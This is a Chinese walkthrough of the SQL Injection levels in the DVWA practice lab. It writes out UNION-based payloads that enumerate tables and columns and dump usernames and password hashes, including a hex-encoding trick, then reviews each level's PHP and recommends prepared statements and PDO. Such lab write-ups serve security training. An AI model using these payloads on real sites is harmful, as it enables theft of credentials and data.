DVWA靶场通关——SQL Injection篇

一,Low难度下union+get+字符串+select注入

1,首先手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的结果,再键入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

发生报错,再键入1"

结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号

2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段

1' order by 2#

至少存在两个字段,

1' order by 3#

不存在第三个字段,那么就只有两个字段

3,接着使用union操作符判断回显点 1' union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本

1' union select  database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示

1' union select user,password from users#

由此,成功通关

查看并分析源码内容

该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。

代码结构

  1. 输入处理:通过$_REQUEST['Submit']判断是否提交了表单,并获取用户输入的id。
  2. 数据库选择:根据$_DVWA['SQLI_DB']的值选择使用MySQL还是SQLite。
  3. 查询执行
    • MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
    • SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
  4. 结果显示:将查询结果格式化为HTML并输出。

安全问题

该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。

改进建议

  1. 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
  2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
  3. 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。

查看源码查询语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

这段代码是一个使用PHP和MySQL进行数据库查询的示例。它从users表中选择first_name和last_name,条件是user_id等于变量$id的值。

潜在的安全问题

该代码存在SQL注入的潜在风险,因为$id变量直接嵌入到SQL查询字符串中,没有进行任何形式的转义或预处理。如果$id的值来自用户输入,攻击者可以通过构造恶意输入来执行任意SQL命令。

改进建议

为了防止SQL注入,建议使用预处理语句(Prepared Statements)和参数绑定。以下是改进后的代码示例:

$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], "SELECT first_name, last_name FROM users WHERE user_id = ?");
mysqli_stmt_bind_param(
$stmt, "i", $id);
mysqli_stmt_execute(
$stmt);
$result = mysqli_stmt_get_result($stmt);
if (!$result) {
   
die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>');
}

解释

  1. 预处理语句:mysqli_prepare函数创建一个预处理语句,其中?是占位符,用于替换实际的参数。
  2. 参数绑定:mysqli_stmt_bind_param函数将变量$id绑定到预处理语句中的占位符。"i"表示$id是一个整数。
  3. 执行语句:mysqli_stmt_execute函数执行预处理语句。
  4. 获取结果:mysqli_stmt_get_result函数获取查询结果。
  5. 错误处理:如果查询失败,使用mysqli_error函数获取错误信息并终止脚本。

通过这种方式,可以有效防止SQL注入攻击,提高代码的安全性。

二,Medium难度下union+post+整数型+select注入

1,该网页仅允许我们通过下拉表单的格式提交数据

2,可以挂上burpsuite拦截一个包分析一下,

3,那么就可以知到网页使用POST请求方式提交查询语句,并且固定格式为?id=表达数据&Submit=Submit。那么这个POST型注入可以用两种工具解:burp suite和hackbar。为了简单这里使用hackbar

判断闭合方式,输入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

发生报错,再输入1"还是发生报错。当知道是下拉表达方式提交数据,其实就能判断出是数字型注入了

4,order by操作符判断数据表有几列

id=1 order by 2&Submit=Submit

正常回显,证明至少有2列。id=1 order by 3&Submit=Submit

发生报错,说明数据表只有两列

5,union操作符确定回显位置 id=1 union select 1,2&Submit=Submit

 由此就知道了1,2两个位置都能正常回显数据,再爆出数据库名和数据库版本

id=1 union select database(),version()&Submit=Submit

6,开始爆破数据库中数据表名。

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

从users数据表里面爆出所有字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'&Submit=Submit

发生报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\'' at line 1

错误信息提示在'\'users\''附近有语法问题,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit

再爆出user,password数据并且使其成对显示

id=1 union select user,password from users&Submit=Submit

成功爆出账户和密码信息

查看并分析源码内容

  1. 表单提交处理
    1. 代码首先检查是否提交了表单(通过$_POST['Submit']是否设置来判断)。
    2. 如果表单提交,获取用户输入的id,并使用mysqli_real_escape_string函数对输入进行转义,以防止SQL注入。
  2. 数据库查询
    1. 根据$_DVWA['SQLI_DB']的值(MYSQL或SQLITE),代码分别处理MySQL和SQLite数据库的查询。
    2. 对于MySQL数据库,使用mysqli_query执行查询,并使用mysqli_fetch_assoc获取结果。
    3. 对于SQLite数据库,使用$sqlite_db_connection->query执行查询,并使用fetchArray获取结果。
  3. 结果显示
    1. 查询结果通过循环遍历,将每个用户的first_name和last_name格式化后显示在页面上。
  4. 统计用户数量
    1. 代码最后执行一个查询,统计users表中的用户总数,并将结果存储在$number_of_rows变量中。
  5. 数据库连接关闭
    1. 代码在最后关闭了MySQL数据库连接(mysqli_close)。

改进建议

  1. 使用预处理语句
    • 对于MySQL,建议使用mysqli_prepare和mysqli_stmt_bind_param来执行查询。
    • 对于SQLite,可以使用sqlite3_prepare和sqlite3_bind_param。
  2. 错误处理
    • 在生产环境中,建议捕获异常并记录日志,而不是直接输出错误信息。
  3. 代码结构优化
    • 将数据库连接和查询逻辑封装到函数或类中,提高代码的可维护性和可读性。

medium难度和lowphp源码相比

输入处理方式

在第一段代码中,$id 变量直接从 $_REQUEST 数组中获取,并且没有进行任何转义或过滤处理。这意味着 $id 变量可能包含用户输入的恶意数据,存在SQL注入风险。

$id = $_REQUEST[ 'id' ];

在第二段代码中,$id 变量同样从 $_POST 数组中获取,但在传递给SQL查询之前,使用 mysqli_real_escape_string 函数对其进行了转义处理,从而减少了SQL注入的风险。

$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

SQL查询语句

在第一段代码中,SQL查询语句直接将 $id 变量嵌入到字符串中,这可能导致SQL注入攻击。

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

在第二段代码中,SQL查询语句将 $id 变量作为参数传递,而不是直接嵌入到字符串中,这使得SQL注入攻击更难以成功。

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

数据库连接关闭

两段代码在处理完数据库查询后都关闭了数据库连接,这一点是相同的。

mysqli_close($GLOBALS["___mysqli_ston"]);

总结

  • 安全性:第二段代码通过使用 mysqli_real_escape_string 函数对用户输入进行转义处理,显著提高了代码的安全性,减少了SQL注入的风险。
  • 输入来源:第一段代码从 $_REQUEST 数组中获取输入,而第二段代码从 $_POST 数组中获取输入,后者更明确地限制了输入来源。
  • SQL查询:第二段代码的SQL查询语句更安全,因为它避免了直接将用户输入嵌入到查询字符串中。

三,low难度下

1,观察一下页面,发现是给定一个弹窗让我们change ID

直接输入1的效果如下

burpsuite拦截直接抓个包看看

当我在弹窗里面输入1测试,发现提交请求方式变成了POST

2,判断一下字符串闭合方式,输入1'

发生报错,再输入1"

没有发生报错,那么猜测为闭合方式为单引号(输入1'#就能不报错证明)

3,order by判断存在字段数 1' order by 2#

证明至少有2列存在,再输入 1' order by 3#

那么该数据表就只有两列

4,union操作符判断数据回显位置

回显位置存在两个,爆一下数据库名和数据库版本

1' union select database(),version()#

5,爆出数据表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

再爆数据库名

1' union select 1,group_concat(column_name) from information_schema.columns where column_name='users'#

爆出用户名和密码

1' union select user,password from users #

成功通关

查看并分析源码内容

安全性问题

  1. SQL注入漏洞:代码中直接将用户输入的$id变量插入到SQL查询中,存在SQL注入风险。攻击者可以通过构造恶意输入来执行任意SQL命令。
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    解决方法:使用预处理语句(Prepared Statements)来防止SQL注入。
  2. 错误信息暴露:代码中直接将数据库错误信息输出到前端,可能会暴露敏感信息给攻击者。
    or die( '<pre>Something went wrong.</pre>' );
    解决方法:记录错误信息到日志文件,而不是直接输出到前端。

代码优化建议

  1. 代码格式化:代码中的双括号{{和}}是多余的,可以删除以提高代码可读性。
  2. 错误处理:在SQLite部分,错误处理不够完善,可以改进以提供更详细的错误信息。
  3. 数据库连接管理:在MySQL部分,数据库连接的关闭操作可以更简洁地实现。

四,impossible难度下

<<DVWA靶场——impossible难度SQL注入的源码分析.md>>

代码功能概述

该PHP代码的主要功能是根据用户提供的id参数,从数据库中查询对应的用户信息(包括first_name和last_name),并将查询结果显示给用户。代码支持两种数据库类型:MySQL和SQLite。

安全措施

  1. Anti-CSRF Token: 代码中使用了checkToken函数来验证用户提交的user_token是否与session_token匹配,以防止跨站请求伪造(CSRF)攻击。
  2. 输入验证: 代码通过is_numeric函数检查id是否为数字,并使用intval将其转换为整数,以防止SQL注入攻击。
  3. 参数化查询: 无论是MySQL还是SQLite,代码都使用了参数化查询(Prepared Statements)来执行SQL查询,进一步防止SQL注入攻击。

数据库操作

  1. MySQL:
    • 使用PDO(PHP Data Objects)进行数据库操作。
    • 通过bindParam方法将id参数绑定到SQL查询中。
    • 执行查询后,检查返回的行数是否为1,以确保只返回一条记录。
  2. SQLite:
    • 使用SQLite3扩展进行数据库操作。
    • 通过bindValue方法将id参数绑定到SQL查询中。
    • 由于SQLite3没有直接获取行数的方法,代码通过检查返回的列数来确保查询结果的正确性。

输出结果

  • 如果查询成功,代码将用户的id、first_name和last_name以HTML格式输出到页面上。
  • 如果查询失败或没有找到匹配的记录,代码不会输出任何信息。

数据库PDO技术

根据搜索结果,我们可以了解到,PDO(PHP Data Objects)是PHP中用于数据库操作的一种技术。以下是对数据库PDO技术的详细介绍:

1. 什么是PDO?

PDO是PHP内置的一个数据库抽象层,它提供了一个统一的数据库访问接口,支持多种数据库管理系统(如MySQL、PostgreSQL等)。使用PDO,开发者可以更轻松地连接数据库、执行查询,并处理结果集。

2. 安装和配置PDO

在使用PDO之前,需要确保PHP环境中已启用PDO扩展。通常,PDO是PHP默认安装的一部分,但可以在php.ini 文件中检查以下行是否被注释:

extension=pdo_mysql

3. 建立数据库连接

使用PDO连接数据库非常简单。以下是一个基本的连接示例:

try {
   
$pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');
   
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}
catch (PDOException $e) {
   
echo '连接失败: ' . $e->getMessage();
}

在这个示例中,我们使用mysql:host和dbname来指定数据库的主机和名称,并设置错误模式,以便捕获异常。

4. 使用预处理语句防止SQL注入

为了安全地执行数据库操作,建议使用预处理语句。预处理语句允许我们在执行查询时将参数绑定,从而避免SQL注入攻击。以下是一个INSERT语句的示例:

$stmt = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt->execute(['name' => $userName, 'email' => $userEmail]);

在这个示例中,:name和:email是参数占位符,实际的值在执行时通过关联数组传入。

5. 更新和删除数据

更新和删除数据同样可以使用预处理语句。例如:

// 更新用户信息
$stmt = $pdo->prepare('UPDATE users SET email=:email WHERE name=:name');
$stmt->execute(['email' => $newEmail, 'name' => $userName]);
 

// 删除用户
$stmt = $pdo->prepare('DELETE FROM users WHERE name=:name');
$stmt->execute(['name' => $userName]);

6. 事务处理

在涉及多个数据库操作时,使用事务可以确保数据一致性。如果其中一条操作失败,可以回滚所有操作。以下是事务处理的示例:

try {
   
// 开始事务
    $pdo->beginTransaction();
 
   
// 执行多个操作
    $stmt1 = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
   
$stmt1->execute(['name' => 'Alice', 'email' => 'alice@example.com']);
 
   
$stmt2 = $pdo->prepare('INSERT INTO orders (user_id, product) VALUES (:user_id, :product)');
   
$stmt2->execute(['user_id' => $pdo->lastInsertId(), 'product' => 'Product A']);
 
   
// 提交事务
    $pdo->commit();
}
catch (Exception $e) {
   
// 回滚事务
    $pdo->rollBack();
   
echo '操作失败: ' . $e->getMessage();
}

在这个示例中,我们开始一个事务并执行多个操作。如果任何一条操作失败,我们将回滚事务,确保数据的一致性。

7. 错误处理

PDO提供了强大的错误处理机制。可以通过设置错误模式来捕获异常,确保我们能及时处理错误:

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 

try {
   
// 数据库操作
} catch (PDOException $e) {
   
echo '数据库错误: ' . $e->getMessage();
}

8. 最佳实践

  • 使用参数化查询:总是使用预处理语句来执行查询,以避免SQL注入。
  • 确保正确配置数据库连接和错误处理。
  • 使用事务处理来确保数据一致性。

通过以上介绍,我们可以看到PDO技术在PHP数据库操作中的重要性和实用性。它不仅简化了数据库操作,还提供了安全的机制来防止SQL注入和其他潜在的安全问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/60546.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unity安装后点击登录没反应

我是把默认浏览器改为google就行了 1.点击登录无反应&#xff0c;无登录界面 用谷歌浏览器打开&#xff01;&#xff01;&#xff01;&#xff01; 把默认浏览器换成谷歌&#xff01; 火狐、百度等内置百度搜索引擎的都没反应&#xff01; 坑的我重装了好几遍UnityHub呜呜呜…

协方差矩阵及其计算方法

协方差矩阵&#xff08;Covariance Matrix&#xff09;是一个描述多维数据特征之间相互关系的矩阵&#xff0c;广泛应用于统计学和机器学习中。它用于表示各个特征之间的协方差&#xff0c;是分析多维数据分布和特征依赖性的重要工具。 什么是协方差矩阵&#xff1f; 协方差矩…

[241115] Debian 12.8 发布 | Mistral AI 推出批量 API,成本降低 50%

目录 Debian 12.8 发布Mistral AI 推出批量 API&#xff0c;成本降低 50% Debian 12.8 发布 Debian 项目正式发布了第八个稳定版更新 Debian 12.8 (代号 bookworm)。此次更新主要修复了安全漏洞&#xff0c;并调整了一些严重问题。安全公告已单独发布&#xff0c;并在更新说明…

鸿蒙学习生态应用开发能力全景图-三方库(3)

鸿蒙生态三方库&#xff0c;是在鸿蒙系统上可重复使用的软件库&#xff0c;可帮助开发者重用技术资产&#xff0c;快速开发鸿蒙生态应用、元服务&#xff0c;提升开发效率。根据不同的开发语言分为两种&#xff1a;  ArkTS/TS/JS 语言的三方库&#xff0c;可直接导入并使用。…

OpenAI官方发布:利用ChatGPT提升写作的12条指南

近日&#xff0c;OpenAI官方发布了学生如何利用ChatGPT提升写作的12条指南&#xff0c;值得深入研究学习。 在如今AIGC应用爆发增长的时间点&#xff0c;如何充分利用生成式AI工具&#xff0c;如ChatGPT&#xff0c;有效切快速的提升写作和学习能力&#xff0c;成为每个学生、…

【数据库系列】Spring Data Neo4j Cypher 查询使用进阶指南

在 Neo4j 中&#xff0c;Cypher 查询语句并不像 MySQL 的 mapper XML 那样直接支持拆分和组织。然而&#xff0c;你可以使用一些策略来管理和重用 Cypher 查询&#xff0c;使其更易于维护和组织。以下是几种方法&#xff1a; 1. 使用 Spring Data Neo4j 的 Repository 接口 通…

React中常用的hook函数(四)——useRef、useNavigate、useLocation和useSearchParams

一、useRef 1. 基础概念&#xff1a; useRef 返回一个可变的 ref 对象&#xff0c;这个对象的 .current 属性可以用来存储一个值&#xff0c;该值在组件的生命周期内是持久化的&#xff0c;并且它不会导致组件重新渲染。 语法&#xff1a; const myRef useRef(initialValue)…

.net core开发windows程序在国产麒麟操作系统中运行

.net core自从3.1版本号后&#xff0c;完全是一个独立的开源的多平台开发组件&#xff0c;目前国产化是趋势&#xff0c;不少项目需要开发国产如Kylin操作系统中运行的程序&#xff0c;无论是Web程序还是桌面程序&#xff0c;都有这样的需求。 首先&#xff0c;可明确的的.net…

基于 Python 的 Bilibili 评论分析与可视化

一、项目概述 本项目利用 Python 对 Bilibili &#xff08;哔哩哔哩&#xff09;平台上的视频评论数据进行爬取、清洗和分析&#xff0c;并通过可视化展示数据的主要特征。我们通过以下几个步骤实现了这一过程&#xff1a; 数据爬取&#xff1a;使用 Bilibili 提供的 API 获取…

Jenkins的pipeline Script的 每个组件的详细讲解

在Jenkins的Pipeline脚本中&#xff0c;各个组件的配置和Groovy的一些常用函数起到了决定性的作用&#xff0c;帮助开发人员控制自动化流程的执行。以下是对Jenkins Pipeline的主要组件和Groovy常用函数的详细讲解&#xff1a; 1. Jenkins Pipeline主要组件 1.1 agent 功能&…

基于碎纸片的拼接复原算法及MATLAB实现

一、问题描述 破碎文件的拼接在司法物证复原、历史文献修复以及军事情报获取等领域都有着重要的应用。传统上&#xff0c;拼接复原工作需由人工完成&#xff0c;准确率较高&#xff0c;但效率很低。特别是当碎片数量巨大&#xff0c;人工拼接很难在短时间内完成任务。随着计算…

如何禁用VMware虚拟网卡

安装VMWare虚拟机之后&#xff0c;会在本地创建两个虚拟网卡VMware Network Adapter VMnet1和VMware Network Adapter VMnet8&#xff0c;如果使用iNode客户端联网时会进行禁用多网卡检测&#xff0c;否则无法联网。因此&#xff0c;问题根源就在于虚拟网卡未禁用。 1、网络和…

ElasticSearch备考 -- Cross cluster replication(CCR)

一、题目 操作在cluster1&#xff08;local&#xff09;中操作索引task&#xff0c;复制到cluster2&#xff08;remote&#xff09;中 二、思考 CCR 我们可以对标MySQL 理解为为主从&#xff0c;后者备份。主节点负责写入数据&#xff0c;从/备节点负责同步时主节点的数据。 …

界面控件DevExpress WPF中文教程:TreeList视图及创建分配视图

DevExpress WPF拥有120个控件和库&#xff0c;将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序&#xff0c;这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…

基于Java的药店管理系统

药店管理系统 一&#xff1a;基本介绍开发环境管理员功能模块图系统功能部分数据库表设计 二&#xff1a;部分系统页面展示登录界面管理员管理进货信息界面管理员管理药品信息界面管理员管理员工界面管理员管理供应商信息界面管理员管理销售信息界面员工对信息进行管理员工对销…

策略模式、状态机详细解读

策略模式 (Strategy Pattern) 策略模式 (Strategy Pattern) 是一种行为型设计模式&#xff0c;旨在将一组算法封装成独立的类&#xff0c;使得它们可以相互替换。这种模式让算法的变化不会影响到使用算法的客户&#xff0c;减少了类之间的耦合。策略模式通常用于处理一类问题&…

Qwen2-VL:发票数据提取、视频聊天和使用 PDF 的多模态 RAG 的实践指南

概述 随着人工智能技术的迅猛发展&#xff0c;多模态模型在各类应用场景中展现出强大的潜力和广泛的适用性。Qwen2-VL 作为最新一代的多模态大模型&#xff0c;融合了视觉与语言处理能力&#xff0c;旨在提升复杂任务的执行效率和准确性。本指南聚焦于 Qwen2-VL 在三个关键领域…

探索Python的HTTP利器:Requests库的神秘面纱

文章目录 **探索Python的HTTP利器&#xff1a;Requests库的神秘面纱**一、背景&#xff1a;为何选择Requests库&#xff1f;二、Requests库是什么&#xff1f;三、如何安装Requests库&#xff1f;四、Requests库的五个简单函数使用方法1. GET请求2. POST请求3. PUT请求4. DELET…

信号保存和信号处理

目录 信号保存中重要的概念 内核中信号的保存 对sigset_t操作的函数 对block&#xff0c;pendding&#xff0c;handler三张表的操作 sigpromask ​编辑 sigpending 是否有sighandler函数呢&#xff1f; 案例 信号处理 操作系统是如何运行的&#xff1f; 硬件中断 …

基于HTTP编写ping操作

基于HTTP编写ping操作 前言 在上一集我们就完成了创建MockServer的任务&#xff0c;那么我们就可以正式开始进行网络的通讯&#xff0c;那么我们今天就来基于HTTP来做一个客户端ping服务端的请求&#xff0c;服务端返回pong的响应。 需求分析 基于HTTP&#xff0c;实现ping…